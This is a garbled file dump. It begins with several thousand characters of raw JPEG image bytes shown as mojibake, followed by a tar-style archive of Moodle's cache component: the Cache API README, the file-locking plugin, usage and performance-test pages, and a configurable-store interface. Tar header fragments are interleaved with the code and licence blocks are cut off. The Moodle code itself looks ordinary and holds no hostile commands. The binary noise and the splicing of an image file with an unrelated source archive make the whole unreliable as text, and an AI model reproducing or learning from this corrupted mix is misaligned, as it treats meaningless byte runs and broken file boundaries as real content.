ÿØÿà JFIF    ÿÛ „  ( %!1"%)+...383-7(-.+  -%%--------+------------/----------------------------ÿÀ  ¶" ÿÄ     ÿÄ @    !1AQaq‘¡"±ÁÑð2’BRráS‚ñ3b¢CT²Ò #cÿÄ    ÿÄ '   1!AQ2a"‘±#ÿÚ   ? ò(/p‘—–¢·,M|¯G»R£üešT. ôŸEoCFñ‡ 4ÔkåóxR|µÁ¨ÓDà!Ç´µ˜‡p ÍQ‹§!þž^õWsŒy  åÁ§$á«%ºq˜™JyyË0y«^Ϗ -3ÃÏËÈ£Æ\P’ä„s&•‹Üs üô'àWt¹pñCp$bÚF`·7.^)¾!)ÒÙ˜–ÅÏš^h¾ø³·ìe±ŒaeÖ—Í,e=B}Jéߦ$$½—šÙÜCC¯¶è8β–Åkèwx LÉngT±æ¹£Ócœ¿Í/©Éÿ ‰ÚCÒ­mq;Tt¶–}0"zÖPcd1š­¤tˆ„ÐÓâqú[™öUCŠ2޿د­É(¸ßúçšmW,Ò ºf‹Ån™ÄLêÁ8üÁkÁ€L¥ÍuJ1œôrÂSŒÓöt!7EUíïb)AËi¬â-ÙHk8òÁiXYwÅ)O^"ÇØriÛô{»wRUKÙÏÚlÓ¬€‚’שT ] ªb—ÊîKC^×M“xùäñz¬zJ× {4[¹M'IÆeH1LCWÕ]œûº WDæà°OÅ‚¹c²ÞuA–rL`HšpCez‡V’— Ž‚Ë„–ñ­'µR0ÕÖ=À:±G»C\nÆÉ5*¢ †3šhQ4ýÒi$Õ1"Ü]¢p-q3zcQ$ªö¨¥æf›‘»´ÝÚHá„e²JÇ–iÊ:·à¬Øc5Åk»Laª*wi [0Ówk ¦a¦0Õ²ÅÅ‚T¸’³q:Æ<¹ú Ò˜Æ}2VE•Ѐp¡Ô3Úº …h³^LJºçì¥Ánó|˜ÖˆÎˆ+« ¦dø‘Mº–d\ªDðÛ„Ì×LÝ——Ð9Ç|•FèçVm™¨€™3õS–9Äå¢<̉Ìm¢±`·º˜&Z²ž Ë®D«¶»6™‰©­HÈ Àá«h­i³04æ’hxœi3ï¨(ÓL·†‹¶ËpŒ ƒÜÒ? :õdsÀ –3æÓ·Üjâ¬9—]8n¼&]I F£¼…ì–—Œ0v°LǐÅfÛ2TÖ’aµ˜N@ÖBSÏ^à´4-±°b×nÈÈœÆD=KdŒø…ÄÈK,›ÖR§fjü$^ÔÎ!„6^ s:Üun\ôkCÞò÷<—Lúl Í›G¹ÀPá¼Nc¡šÒ…ÙWͳœ±vÊáЄ×9‹P‰cEØ‘™›µŸP<×g1 º©Ø¬wiÁ^l5× I/';Ë+´Z‡ÓÄFÕp[Èð’ HÄ ó 9¬Dl4“é±Ï”V=^Hð;žLädÉa‚°Ë,#/Ž~²BÔÛ QãñQtIeórVB,ÏÂf‹4#Μc‹É3ZIÖ Œ¢¥·üxa‡Ãçè„jŠ[5 Ä!U?,3žÎ×…ðdÓ÷háŠA‰ìÄ4÷ÃÜZÃE{‰®+W\ZÍE[‰»µk»MÝ­`¢©†˜ÃV‹-f¢¡†¢a«eŠ%«Y¨©q%jâd,Ôq`) ¤¦…šˆ ¦E>0Ùb²t–Ÿ  ÷jsςҒKÈcø(é›;k(’#ôŒQ ™C> õ³M9óºÆµ¤çâ;uÀ)5>RÔ¸fÓ~Ȧ—’-$fe«"FâUˆÊwµPÏu w+"åÉó¨6s™Û9(À¨ù©hE°½†n`m~“@©›p!Vkhµ Á1šbEqqÊ@ºèl›2 –Yã%‘‚hÛ{a¶‡ÅÞM²¬çL34®Çl]®‹ŽØŒm'RÜe35æöˆ­Á­ cP9šeÁköo´L³Ì=p8]”‡B¶,šº|ɏdzXˆØk*ÇÚ{#ñ‰pã(€¶‡9ý'šÜ³½¯kƒ†Â’ëSOƒ•Å®H6+a¢µˆ‹Y¨b˜b+XˆÖ!°u!¢"µˆˆn2ˆ Å0Ä`Å Ô®c(ÓÜGº•Ä»Œ âWî%q.áÐÄ÷î%umÍ£+ÜQ,Vn¦-GphU¸¢X­&,Gt ·K¢ÅÅ·¥RÄÊÉbKn N­R2g$VµÕó Qr#–ÓZUÏð0ÎtÙÀœz ëöo“Îk¯n„T°"SÞ+³/…€½"ižãO%Í%&Δâ‘ËØ´IˆÓ°Ë‰ÞM3.™yçÁzit›`4C`k¢¼á!álÄï sÂ[×!¤l¾æo"ƒIÔ'@ªu)3›ô®“@Z à¾] üœ'‡4¸PÞkÁ-qÄH‰ÓÍBd´ÿ —¹°ÄA&ÊUC„öz‚‚RæŠtf¬>˜ÑidšEçÑL÷áý¡V±h§­c¿¥¨ƒ@g¼…Ýö^ÞËc.ž„æ“I[ ª+·zÐÒÚ,½Ð»¶€C›7jk$๖€Ž¾ÅÙpp¶ÍþéΤ ½ØÎŒq ñpæžÅ¥#Øâ49ÃÂK^MYV“,¶Éz_òæ:…;Õ«¦I3âJ£¤û5$7Èxün\â]Êe¯(Ÿ&Ž‹¶2<6Ćf× æ¢ƱqWı[(ÙÂŽç‚T7¨@ÈÉÍß‚ïÙ"&3TYlGށ†)†#5ŠA©^T2ÆÁ†)©†©†¤yGXÁ†©"†)©¼ÅV WS†#©]R–r‹q5ÕbâWþBh¯u+ªÅÄ×ü„nÑ^êkªÁj‰jeœWˆÕÕ`µDµ2Ì+Ä µDµµ5Ô{¤Þ0RF’H÷AÛ<ÊÁ§ ƈæ0Ñ£ê4 öÚµ[¬/1²€â<-¬šö²r×0o×w ´xÐÒË„ g01¬„åEM蛇Ã\6µE›‘fÙO k÷CºnÓ1`iîÒ² áÂ!ÑLÄÿ ³¬\õ*:M=Ç»c‹2[‰ØsÕLò\ŒK L^™üÄN\¶#» Ç\……ßïIœÉ$¸ÎñÍ®ÔHÇ Ûí/´>Li”„†g^$ 7NÍÑÑ2M2ªNg=k½Ð}Ÿl6‡ —JWˆ”ÞéT·+µ¦üÂFè¢Vs6ýÆ4»2+2IÝ9ô9®ÇGÙÇ1+Ä8;*Õ§ž½D*îÑWÚçá3Ma¤·ˆ¥t}š²Ü…Q+Æüµ8HíS”üxGéÁˆ¦Ël„éÈ 5 µÄƒ6äÜ(kIš¯S†fÖ&¸®×v|Äyˆ*禌Éù@7-®Ä[]ÎÖ¿ê`º…=:…žJVnݳvðÖKE¼‚ »mà ÷f®:Ë ™–4rð¡4` ܹçž~‹C=œ…¾Ïj|VDtK.ƒ"9 Ï ­–éXá³6WÒïIL-Ї Ç README.md000064400000042710152265337610006041 0ustar00Moodle Universal Cache / Cache API ================================== Sample code snippets -------------------- A definition: $definitions = array( 'string' => array( // Required, unique to the component 'mode' => \core_cache\store::MODE_APPLICATION, // Required 'simplekeys' => false, // Optional 'simpledata' => false, // Optional 'requireidentifiers' => array( // Optional 'lang' ), 'requiredataguarantee' => false, // Optional 'requiremultipleidentifiers' => false, // Optional 'requirelockingbeforewrite' => false, // Optional 'requiresearchable' => false, // Optional 'maxsize' => null, // Optional 'overrideclass' => null, // Optional 'overrideclassfile' => null, // Optional 'datasource' => null, // Optional 'datasourcefile' => null, // Optional 'staticacceleration' => false, // Optional 'staticaccelerationsize' => false, // Optional 'ttl' => 0, // Optional 'mappingsonly' => false // Optional 'invalidationevents' => array( // Optional 'contextmarkeddirty' ), 'canuselocalstore' => false // Optional 'sharingoptions' => null // Optional 'defaultsharing' => null // Optional ) ); Getting something from a cache using the definition: $cache = \core_cache\cache::make('core', 'string'); if (!$component = $cache->get('component')) { // get returns false if its not there and can't be loaded. $component = generate_data(); $cache->set($component); } The same thing but using params: $cache = \core_cache\cache::make_from_params(\core_cache\store::MODE_APPLICATION, 'core', 'string'); if (!$component = $cache->get('component')) { // get returns false if its not there and can't be loaded. $component = generate_data(); $cache->set($component); } If a data source had been specified in the definition, the following would be all that was needed. $cache = \core_cache\cache::make('core', 'string'); $component = $cache->get('component'); Disabling the cache stores. There are times in code when you will want to disable the cache stores. While the cache API must still be functional in order for calls to it to work it is possible to disable the use of the cache stores separately so that you can be sure only the cache will function in all circumstances. // Disable the cache store at the start of your script with: define('CACHE_DISABLE_STORES', true); // Disable the cache within your script when you want with: \core_cache\factory::disable_stores(); // If you disabled it using the above means you can re-enable it with: \core_cache\factory::reset(); Disabling the cache entirely. Like above there are times when you want the cache to avoid initialising anything it doesn't absolutely need. Things such as installation and upgrade require this functionality. When the cache API is disabled it is still functional however special "disabled" classes will be used instead of the regular classes that make the Cache API tick. These disabled classes do the least work possible and through this means we avoid all manner of intialisation and configuration. Once disabled it cannot be re-enabled. // To disable the cache entirely call the following: define('CACHE_DISABLE_ALL', true); Cache API parts --------------- There are several parts that make up the Cache API. ### Loader The loader is central to the whole thing. It is used by the end developer to get an object that handles caching. 90% of end developers will not need to know or use anything else in the cache API. In order to get a loader you must use one of two static methods, make or make_from_params. The loader has been kept as simple as possible, interaction is summarised by the core_cache\loader_interface interface. Internally there is lots of magic going on. The important parts to know about are: * There are two ways to get a loader, the first with a definition (discussed below) the second with params. When params are used they are turned into an adhoc definition with default params. * A loader is passed three things when being constructed, a definition, a store, and another loader or datasource if there is either. * If a loader is the third arg then requests will be chained to provide redundancy. * If a data source is provided then requests for an item that is not cached will be passed to the data source and that will be expected to load the data. If it loads data, that data is stored in each store on its way back to the user. * There are three core loaders. One for each application, session and request. * A custom loader can be used. It will be provided by the definition (thus cannot be used with ad hoc definitions) and must override the appropriate core loader * The loader handles ttl (time to live) for stores that don't natively support ttl. * The application loader handles locking for stores that don't natively support locking. ### Store The store is the bridge between the cache API and a cache solution. Cache store plugins exist within moodle/cache/store. The administrator of a site can configure multiple instances of each plugin, the configuration gets initialised as a store for the loader when required in code (during construction of the loader). The following points highlight things you should know about stores. * A \core_cache\store interface is used to define the requirements of a store plugin. * The store plugin can inherit the \core_cache\lockable_cache_interface interface to handle its own locking. * The store plugin can inherit the \core_cache\key_aware_cache_interface interface to handle is own has checks. * Store plugins inform the cache API about the things they support. Features can be required by a definition. * Data guarantee - Data is guaranteed to exist in the cache once it is set there. It is never cleaned up to free space or because it has not been recently used. * Multiple identifiers - Rather than a single string key, the parts that make up the key are passed as an array. * Native TTL support - When required, the store supports native ttl and doesn't require the cache API to manage ttl of things given to the store. * There are two reserved store names, base and dummy. These are both used internally. ### Definition _Definitions were not a part of the previous proposal._ Definitions are cache definitions. They will be located within a new file for each component/plugin at **db/caches.php**. They can be used to set all of the requirements of a cache instance and are used to ensure that a cache can only be interacted with in the same way no matter where it is being used. It also ensures that caches are easy to use, the config is stored in the definition and the developer using the cache does not need to know anything about its inner workings. When getting a loader you can either provide a definition name, or a set or params. * If you provide a definition name then the matching definition is found and used to construct a loader for you. * If you provide params then an ad hoc definition is created. It will have defaults and will not have any special requirements or options set. Definitions are designed to be used in situations where things are more than basic. The following settings are required for a definition: * name - Identifies the definition and must be unique. * mode - Application, session or request. The following optional settings can also be defined: * simplekeys - Set to true if items will always and only have simple keys. Simple keys may contain a-zA-Z0-9_. If set to true we use the keys as they are without hashing them. Good for performance and possible because we know the keys are safe. * simpledata - Set to true if you know that you will only be storing scalar values or arrays of scalar values. Avoids costly investigation of data types. * requireidentifiers - Any identifiers the definition requires. Must be provided when creating the loader. * requiredataguarantee - If set to true then only stores that support data guarantee will be used. * requiremultipleidentifiers - If set to true then only stores that support multiple identifiers will be used. * requirelockingbeforewrite - If set to true the system will throw an error if you write to a cache without having a lock on the relevant key. * requiresearchable - If set to true only stores that support key searching will be used for this definition. Its not recommended to use this unless absolutely unavoidable. * maxsize - This gives a cache an indication about the maximum items it should store. Cache stores don't have to use this, it is up to them to decide if its required. * overrideclass - If provided this class will be used for the loader. It must extend one of the core loader classes (based upon mode). * overrideclassfile - Included if required when using the overrideclass param. * datasource - If provided this class will be used as a data source for the definition. It must implement the \core_cache\data_source_interface interface. * datasourcefile - Included if required when using the datasource param. * staticacceleration - Any data passing through the cache will be held onto to make subsequent requests for it faster. * staticaccelerationsize - If set to an int this will be the maximum number of items stored in the static acceleration array. * ttl - Can be used to set a ttl value for data being set for this cache. * mappingsonly - This definition can only be used if there is a store mapping for it. More on this later. * invalidationevents - An array of events that should trigger this cache to invalidate. * sharingoptions - The sum of the possible sharing options that are applicable to the definition. An advanced setting. * defaultsharing - The default sharing option to use. It's highly recommended that you don't set this unless there is a very specific reason not to use the system default. * canuselocalstore - The default is to required a shared cache location for all nodes in a multi webserver environment. If the cache uses revisions and never updates key data, administrators can use a local storage cache for this cache. It's important to note that internally the definition is also aware of the component. This is picked up when the definition is read, based upon the location of the caches.php file. The staticacceleration option. Data passed to or retrieved from the loader and its chained loaders gets cached by the instance. Because it caches key=>value data it avoids the need to re-fetch things from stores after the first request. Its good for performance, bad for memory. Memory use can be controlled by setting the staticaccelerationsize option. It should be used sparingly. The mappingsonly option. The administrator of a site can create mappings between stores and definitions. Allowing them to designate stores for specific definitions (caches). Setting this option to true means that the definition can only be used if a mapping has been made for it. Normally if no mappings exist then the default store for the definition mode is used. Sharing options. This controls the options available to the user when configuring the sharing of a definitions cached data. By default all sharing options are available to select. This particular option allows the developer to limit the options available to the admin configuring the cache. ### Data source Data sources allow cache _misses_ (requests for a key that doesn't exist) to be handled and loaded internally. The loader gets used as the last resort if provided and means that code using the cache doesn't need to handle the situation that information isn't cached. They can be specified in a cache definition and must implement the \core_cache\data_source_interface interface. ### How it all chains together. Consider the following: Basic request for information (no frills): => Code calls get => Loader handles get, passes the request to its store <= Memcache doesn't have the data. sorry. <= Loader returns the result. |= Code couldn't get the data from the cache. It must generate it and then ask the loader to cache it. Advanced initial request for information not already cached (has chained stores and data source): => Code calls get => Loader handles get, passes the request to its store => Memcache handles request, doesn't have it passes it to the chained store => File (default store) doesn't have it requests it from the loader => Data source - makes required db calls, processes information ...database calls... ...processing and moulding... <= Data source returns the information <= File caches the information on its way back through <= Memcache caches the information on its way back through <= Loader returns the data to the user. |= Code the code now has the data. Subsequent request for information: => Code calls get => Loader handles get, passes the request to its store <= Store returns the data <= Loader returns the data |= Code has the data Other internal magic you should be aware of ------------------------------------------- The following should fill you in on a bit more of the behind-the-scenes stuff for the cache API. ### Helper class There is a helper class called \core_cache\helper which is abstract with static methods. This class handles much of the internal generation and initialisation requirements. In normal use this class will not be needed outside of the API (mostly internal use only) ### Configuration There are two configuration classes \core_cache\config and \core_cache\config_writer. The reader class is used for every request, the writer is only used when modifying the configuration. Because the cache API is designed to cache database configuration and meta data it must be able to operate prior to database configuration being loaded. To get around this we store the configuration information in a file in the dataroot. The configuration file contains information on the configured store instances, definitions collected from definition files, and mappings. That information is stored and loaded in the same way we work with the lang string files. This means that we use the cache API as soon as it has been included. ### Invalidation Cache information can be invalidated in two ways. 1. pass a definition name and the keys to be invalidated (or none to invalidate the whole cache). 2. pass an event and the keys to be invalidated. The first method is designed to be used when you have a single known definition you want to invalidate entries within. The second method is a lot more intensive for the system. There are defined invalidation events that definitions can "subscribe" to (through the definitions invalidationevents option). When you invalidate by event the cache API finds all of the definitions that subscribe to the event, it then loads the stores for each of those definitions and purges the keys from each store. This is obviously a recursive, and therefore, intense process. ### Testing Both the cache API and the cache stores have tests. Please be aware that several of the cache stores require configuration in order to be able operate in the tests. Tests for stores requiring configuration that haven't been configured will be skipped. All configuration is done in your sites config.php through definitions. As of Moodle 2.8 it is also possible to set the default cache stores used when running tests. You can do this by adding the following define to your config.php file: // xxx is one of the installed stored (for example redis) or other cachestore with a test define. define('TEST_CACHE_USING_APPLICATION_STORE', 'xxx'); This allows you to run tests against a defined test store. It uses the defined value to identify a store to test against with a matching TEST_CACHESTORE define. Alternatively you can also run tests against an actual cache config. To do this you must add the following to your config.php file: define('TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH', true'); $CFG->altcacheconfigpath = '/a/temp/directory/yoursite.php' This tells Moodle to use the config at $CFG->altcacheconfigpath when running tests. There are a couple of considerations to using this method: * By setting $CFG->altcacheconfigpath your site will store the cache config in the specified path, not just the test cache config but your site config as well. * If you have configured your cache before setting $CFG->altcacheconfigpath you will need to copy it from moodledata/muc/config.php to the destination you specified. * This allows you to share a cache config between sites. * It also allows you to use tests to test your sites cache config. Please be aware that if you are using Memcache or Memcached it is recommended to use dedicated Memcached servers. When caches get purged the memcached servers you have configured get purged, any data stored within them whether it belongs to Moodle or not will be removed. If you are using Memcached for sessions as well as caching/testing and caches get purged your sessions will be removed prematurely and users will be need to start again. locks/file/lang/en/cachelock_file.php000064400000002012152265337610013552 0ustar00. /** * Strings for the cache file locking plugin * * @package cachelock_file * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ $string['pluginname'] = 'File locking'; $string['privacy:metadata'] = 'The File locking plugin does not store any personal data.'; locks/file/lib.php000064400000021105152265337610010066 0ustar00. /** * File locking for the Cache API * * @package cachelock_file * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * File locking plugin * * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class cachelock_file implements cache_lock_interface { /** * The name of the cache lock instance * @var string */ protected $name; /** * The absolute directory in which lock files will be created and looked for. * @var string */ protected $cachedir; /** * The maximum life in seconds for a lock file. By default null for none. * @var int|null */ protected $maxlife = null; /** * The number of attempts to acquire a lock when blocking is required before throwing an exception. * @var int */ protected $blockattempts = 100; /** * An array containing the locks that have been acquired but not released so far. * @var array Array of key => lock file path */ protected $locks = array(); /** * Initialises the cache lock instance. * * @param string $name The name of the cache lock * @param array $configuration */ public function __construct($name, array $configuration = array()) { $this->name = $name; if (!array_key_exists('dir', $configuration)) { $this->cachedir = make_cache_directory(md5($name)); } else { $dir = $configuration['dir']; if (strpos($dir, '/') !== false && strpos($dir, '.') !== 0) { // This looks like an absolute path. if (file_exists($dir) && is_dir($dir) && is_writable($dir)) { $this->cachedir = $dir; } } if (empty($this->cachedir)) { $dir = preg_replace('#[^a-zA-Z0-9_]#', '_', $dir); $this->cachedir = make_cache_directory($dir); } } if (array_key_exists('maxlife', $configuration) && is_number($configuration['maxlife'])) { $maxlife = (int)$configuration['maxlife']; // Minimum lock time is 60 seconds. $this->maxlife = max($maxlife, 60); } if (array_key_exists('blockattempts', $configuration) && is_number($configuration['blockattempts'])) { $this->blockattempts = (int)$configuration['blockattempts']; } } /** * Acquire a lock. * * If the lock can be acquired: * This function will return true. * * If the lock cannot be acquired the result of this method is determined by the block param: * $block = true (default) * The function will block any further execution unti the lock can be acquired. * This involves the function attempting to acquire the lock and the sleeping for a period of time. This process * will be repeated until the lock is required or until a limit is hit (100 by default) in which case a cache * exception will be thrown. * $block = false * The function will return false immediately. * * If a max life has been specified and the lock can not be acquired then the lock file will be checked against this time. * In the case that the file exceeds that max time it will be forcefully deleted. * Because this can obviously be a dangerous thing it is not used by default. If it is used it should be set high enough that * we can be as sure as possible that the executing code has completed. * * @param string $key The key that we want to lock * @param string $ownerid A unique identifier for the owner of this lock. Not used by default. * @param bool $block True if we want the program block further execution until the lock has been acquired. * @return bool * @throws cache_exception If block is set to true and more than 100 attempts have been made to acquire a lock. */ public function lock($key, $ownerid, $block = false) { // Get the name of the lock file we want to use. $lockfile = $this->get_lock_file($key); // Attempt to create a handle to the lock file. // Mode xb is the secret to this whole function. // x = Creates the file and opens it for writing. If the file already exists fopen returns false and a warning is thrown. // b = Forces binary mode. $result = @fopen($lockfile, 'xb'); // Check if we could create the file or not. if ($result === false) { // Lock exists already. if ($this->maxlife !== null && !array_key_exists($key, $this->locks)) { $mtime = filemtime($lockfile); if ($mtime < time() - $this->maxlife) { $this->unlock($key, true); $result = $this->lock($key, false); if ($result) { return true; } } } if ($block) { // OK we are blocking. We had better sleep and then retry to lock. $iterations = 0; $maxiterations = $this->blockattempts; while (($result = $this->lock($key, false)) === false) { // Usleep causes the application to cleep to x microseconds. // Before anyone asks there are 1'000'000 microseconds to a second. usleep(rand(1000, 50000)); // Sleep between 1 and 50 milliseconds. $iterations++; if ($iterations > $maxiterations) { // BOOM! We've exceeded the maximum number of iterations we want to block for. throw new cache_exception('ex_unabletolock'); } } } return false; } else { // We have the lock. fclose($result); $this->locks[$key] = $lockfile; return true; } } /** * Releases an acquired lock. * * For more details see {@link cache_lock::unlock()} * * @param string $key * @param string $ownerid A unique identifier for the owner of this lock. Not used by default. * @param bool $forceunlock If set to true the lock will be removed if it exists regardless of whether or not we own it. * @return bool */ public function unlock($key, $ownerid, $forceunlock = false) { if (array_key_exists($key, $this->locks)) { @unlink($this->locks[$key]); unset($this->locks[$key]); return true; } else if ($forceunlock) { $lockfile = $this->get_lock_file($key); if (file_exists($lockfile)) { @unlink($lockfile); } return true; } // You cannot unlock a file you didn't lock. return false; } /** * Checks if the given key is locked. * * @param string $key * @param string $ownerid */ public function check_state($key, $ownerid) { if (array_key_exists($key, $this->locks)) { // The key is locked and we own it. return true; } $lockfile = $this->get_lock_file($key); if (file_exists($lockfile)) { // The key is locked and we don't own it. return false; } return null; } /** * Gets the name to use for a lock file. * * @param string $key * @return string */ protected function get_lock_file($key) { return $this->cachedir.'/'. $key .'.lock'; } /** * Cleans up the instance what it is no longer needed. */ public function __destruct() { foreach ($this->locks as $lockfile) { // Naught, naughty developers. @unlink($lockfile); } } } locks/file/version.php000064400000002237152265337610011012 0ustar00. /** * File locking for the Cache API * * @package cachelock_file * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); $plugin->version = 2025041400; // The current plugin version (Date: YYYYMMDDXX). $plugin->requires = 2025040800; // Requires this Moodle version. $plugin->component = 'cachelock_file'; // Full name of the plugin (used for diagnostics) locks/file/classes/privacy/provider.php000064400000002776152265337610014301 0ustar00. /** * Privacy Subsystem implementation for cachelock_file. * * @package cachelock_file * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace cachelock_file\privacy; defined('MOODLE_INTERNAL') || die(); /** * Privacy Subsystem for cachelock_file implementing null_provider. * * @copyright 2018 Andrew Nicols * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class provider implements \core_privacy\local\metadata\null_provider { /** * Get the language string identifier with the component's language * file to explain why this plugin stores no data. * * @return string */ public static function get_reason(): string { return 'privacy:metadata'; } } usage.php000064400000003236152265337610006377 0ustar00. /** * Show current cache usage (number of items, size of caches). * * @package core_cache * @copyright 2021 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../config.php'); require_once($CFG->dirroot . '/lib/adminlib.php'); admin_externalpage_setup('cacheusage'); $adminhelper = \core_cache\factory::instance()->get_administration_display_helper(); raise_memory_limit(MEMORY_EXTRA); $samples = optional_param('samples', 50, PARAM_INT); // Just for safety reasons, stop people choosing a stupid number. if ($samples > 1000) { $samples = 1000; } // Get the actual data. $usage = $adminhelper->get_usage($samples); // Set up the renderer and organise data to render. $renderer = $PAGE->get_renderer('core_cache'); [$table, $summarytable] = $renderer->usage_tables($usage); $form = new \core_cache\output\usage_samples_form(); echo $OUTPUT->header(); echo $renderer->usage_page($table, $summarytable, $form); echo $OUTPUT->footer(); forms.php000064400000001434152265337610006417 0ustar00. // This file is intentionally empty. // It will be changed to emit debugging in MDL-82836 for Moodle 5.0. testperformance.php000064400000017577152265337610010511 0ustar00. /** * Store performance test run + output script. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../config.php'); require_once($CFG->dirroot . '/lib/adminlib.php'); $count = optional_param('count', 100, PARAM_INT); $count = min($count, 100000); $count = max($count, 0); admin_externalpage_setup('cachetestperformance'); $applicationtable = new html_table(); $applicationtable->head = [ get_string('plugin', 'cache'), get_string('result', 'cache'), get_string('set', 'cache'), get_string('gethit', 'cache'), get_string('getmiss', 'cache'), get_string('delete', 'cache'), ]; $applicationtable->data = []; $sessiontable = clone($applicationtable); $requesttable = clone($applicationtable); $application = cache_definition::load_adhoc(cache_store::MODE_APPLICATION, 'cache', 'applicationtest'); $session = cache_definition::load_adhoc(cache_store::MODE_SESSION, 'cache', 'sessiontest'); $request = cache_definition::load_adhoc(cache_store::MODE_REQUEST, 'cache', 'requesttest'); $strinvalidplugin = new lang_string('invalidplugin', 'cache'); $strunsupportedmode = new lang_string('unsupportedmode', 'cache'); $struntestable = new lang_string('untestable', 'cache'); $strtested = new lang_string('tested', 'cache'); $strnotready = new lang_string('storenotready', 'cache'); foreach (core_component::get_plugin_list_with_file('cachestore', 'lib.php', true) as $plugin => $path) { $class = 'cachestore_' . $plugin; $plugin = get_string('pluginname', 'cachestore_' . $plugin); if (!class_exists($class) || !method_exists($class, 'initialise_test_instance') || !$class::are_requirements_met()) { $applicationtable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-']; $sessiontable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-']; $requesttable->data[] = [$plugin, $strinvalidplugin, '-', '-', '-', '-']; continue; } if (!$class::is_supported_mode(cache_store::MODE_APPLICATION)) { $applicationtable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-']; } else { $store = $class::initialise_test_instance($application); if ($store === false) { $applicationtable->data[] = [$plugin, $struntestable, '-', '-', '-', '-']; } else if (!$store->is_ready()) { $applicationtable->data[] = [$plugin, $strnotready, '-', '-', '-', '-']; } else { $result = [$plugin, $strtested, 0, 0, 0]; $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->set('key' . $i, 'test data ' . $i); } $result[2] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('key' . $i); } $result[3] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('fake' . $i); } $result[4] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->delete('key' . $i); } $result[5] = sprintf('%01.4f', microtime(true) - $start); $applicationtable->data[] = $result; $store->instance_deleted(); } } if (!$class::is_supported_mode(cache_store::MODE_SESSION)) { $sessiontable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-']; } else { $store = $class::initialise_test_instance($session); if ($store === false) { $sessiontable->data[] = [$plugin, $struntestable, '-', '-', '-', '-']; } else if (!$store->is_ready()) { $sessiontable->data[] = [$plugin, $strnotready, '-', '-', '-', '-']; } else { $result = [$plugin, $strtested, 0, 0, 0]; $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->set('key' . $i, 'test data ' . $i); } $result[2] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('key' . $i); } $result[3] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('fake' . $i); } $result[4] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->delete('key' . $i); } $result[5] = sprintf('%01.4f', microtime(true) - $start); $sessiontable->data[] = $result; $store->instance_deleted(); } } if (!$class::is_supported_mode(cache_store::MODE_REQUEST)) { $requesttable->data[] = [$plugin, $strunsupportedmode, '-', '-', '-', '-']; } else { $store = $class::initialise_test_instance($request); if ($store === false) { $requesttable->data[] = [$plugin, $struntestable, '-', '-', '-', '-']; } else if (!$store->is_ready()) { $requesttable->data[] = [$plugin, $strnotready, '-', '-', '-', '-']; } else { $result = [$plugin, $strtested, 0, 0, 0]; $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->set('key' . $i, 'test data ' . $i); } $result[2] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('key' . $i); } $result[3] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->get('fake' . $i); } $result[4] = sprintf('%01.4f', microtime(true) - $start); $start = microtime(true); for ($i = 0; $i < $count; $i++) { $store->delete('key' . $i); } $result[5] = sprintf('%01.4f', microtime(true) - $start); $requesttable->data[] = $result; $store->instance_deleted(); } } } echo $OUTPUT->header(); echo $OUTPUT->heading(get_string('storeperformance', 'cache', $count)); $possiblecounts = [1, 10, 100, 500, 1000, 5000, 10000, 50000, 100000]; $links = []; foreach ($possiblecounts as $pcount) { $links[] = html_writer::link(new moodle_url($PAGE->url, ['count' => $pcount]), $pcount); } echo $OUTPUT->box_start('generalbox performance-test-counts'); echo get_string('requestcount', 'cache', join(', ', $links)); echo $OUTPUT->box_end(); echo $OUTPUT->heading(get_string('storeresults_application', 'cache')); echo html_writer::table($applicationtable); echo $OUTPUT->heading(get_string('storeresults_session', 'cache')); echo html_writer::table($sessiontable); echo $OUTPUT->heading(get_string('storeresults_request', 'cache')); echo html_writer::table($requesttable); echo $OUTPUT->footer(); classes/configurable_cache_interface.php000064400000004176152265337610014537 0ustar00. namespace core_cache; use moodleform; use stdClass; /** * Cache store feature: configurable. * * This feature should be implemented by all cache stores that are configurable when adding an instance. * It requires the implementation of methods required to convert form data into the a configuration array for the * store instance, and then the reverse converting configuration data into an array that can be used to set the * data for the edit form. * * Can be implemented by classes already implementing store. * @package core_cache * @copyright Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ interface configurable_cache_interface { /** * Given the data from the add instance form this function creates a configuration array. * * @param stdClass $data * @return array */ public static function config_get_configuration_array($data); /** * Allows the cache store to set its data against the edit form before it is shown to the user. * * @param moodleform $editform * @param array $config */ public static function config_set_edit_form_data(moodleform $editform, array $config); } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(configurable_cache_interface::class, \cache_is_configurable::class); 